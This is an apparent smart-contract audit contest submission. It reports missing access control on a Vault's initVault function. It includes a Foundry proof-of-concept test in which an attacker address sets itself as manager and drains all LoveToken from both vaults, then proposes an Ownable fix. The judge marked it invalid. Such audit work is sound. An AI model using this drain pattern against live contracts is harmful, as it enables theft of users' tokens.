Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Unrestricted Access Control in Vault Initialization let an attacker to drain the vault

Summary

The Vault contract's initVault function is intended to initialize the vault by approving a corresponding management contract to handle tokens. This initialization includes setting a boolean flag to prevent re-initialization. However, the function lacks proper access control, allowing any caller to execute it, potentially leading to unauthorized initialization. This will give transfer permissions (allowance) to the attacker, then the attacker can steal the tokens from the vault.

Vulnerability Details

The initVault function in the Vault contract does not implement any access control mechanisms. As a result, any user can call this function, potentially allowing for unauthorized interaction with the ILoveToken contract's initVault function. After calling the initVault the attacker can just simple add his address to have permissions to the tokens in the vault.

POC

function testPoc() external {
vm.startPrank(deployer);
airdropVault = new Vault();
stakingVault = new Vault();
soulmateContract = new Soulmate();
loveToken = new LoveToken(
ISoulmate(address(soulmateContract)),
address(airdropVault),
address(stakingVault)
);
stakingContract = new Staking(
ILoveToken(address(loveToken)),
ISoulmate(address(soulmateContract)),
IVault(address(stakingVault))
);
airdropContract = new Airdrop(
ILoveToken(address(loveToken)),
ISoulmate(address(soulmateContract)),
IVault(address(airdropVault))
);
vm.stopPrank();
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
airdropVault.initVault(ILoveToken(address(loveToken)), attacker);
stakingVault.initVault(ILoveToken(address(loveToken)), attacker);
// now attacker can steal all tokens
loveToken.transferFrom(address(airdropVault), attacker, loveToken.balanceOf(address(airdropVault)));
loveToken.transferFrom(address(stakingVault), attacker, loveToken.balanceOf(address(stakingVault)));
vm.stopPrank();
assertEq(loveToken.balanceOf(attacker), 1000000000 ether);
}

Impact

If exploited, this vulnerability could lead to unauthorized control over the vault's token management capabilities. This includes but is not limited to, setting an unauthorized managerContract, which could then have implications for the handling and security of tokens intended for airdrops or staking. The impact is heightened by the fact that once the vault is initialized incorrectly, it cannot be re-initialized due to the vaultInitialize guard.

Tools Used

Manual revision

Recommendations

To mitigate this issue and enhance the contract's security, it is recommended to implement the Ownable pattern. Here's a brief outline of how to implement this:

  1. Inherit the Vault contract from the OpenZeppelin Ownable contract. (Or the Owned contract from Solmate)

  2. Modify the initVault function to include the onlyOwner modifier, ensuring that only the contract owner can call this function.

import "@openzeppelin/contracts/access/Ownable.sol";
contract Vault is Ownable {
// Existing code remains unchanged
function initVault(ILoveToken loveToken, address managerContract) public onlyOwner {
if (vaultInitialize) revert Vault__AlreadyInitialized();
loveToken.initVault(managerContract);
vaultInitialize = true;
}
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.